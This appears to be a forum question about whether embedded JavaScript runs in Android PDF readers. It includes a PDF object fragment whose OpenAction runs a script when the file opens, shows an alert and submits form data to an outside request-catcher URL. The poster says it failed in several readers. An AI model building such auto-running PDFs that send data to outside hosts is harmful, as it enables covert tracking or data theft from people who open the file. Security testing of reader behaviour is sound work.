Is it actually possible to execute JavaScript within Android PDF readers, regardless of the version or app type? My understanding is that simply embedding the following script into the PDF should be enough to trigger the action, but it doesn't seem to be working.

1 0 obj  
  << /Type /Catalog  
/Pages 2 0 R  
/OpenAction 5 0 R  
/AcroForm << /Fields \[6 0 R\] >>  
  \>>  
...  
5 0 obj  
  << /Type /Action  
/S /JavaScript  
/JS (  
app.alert("Submitting data to example.com");  
this.submitForm({  
cURL: "https://urltest.requestcatcher.com/submit",  
cSubmitAs: "HTML",  
bEmpty: true  
});  
)  
  \>>

I’m unable to run the JavaScript required to submit the form to that URL. I’ve tested it on Android 14 and 15 using Adobe Acrobat Reader, WPS Office, and ezPDF, but it isn't working.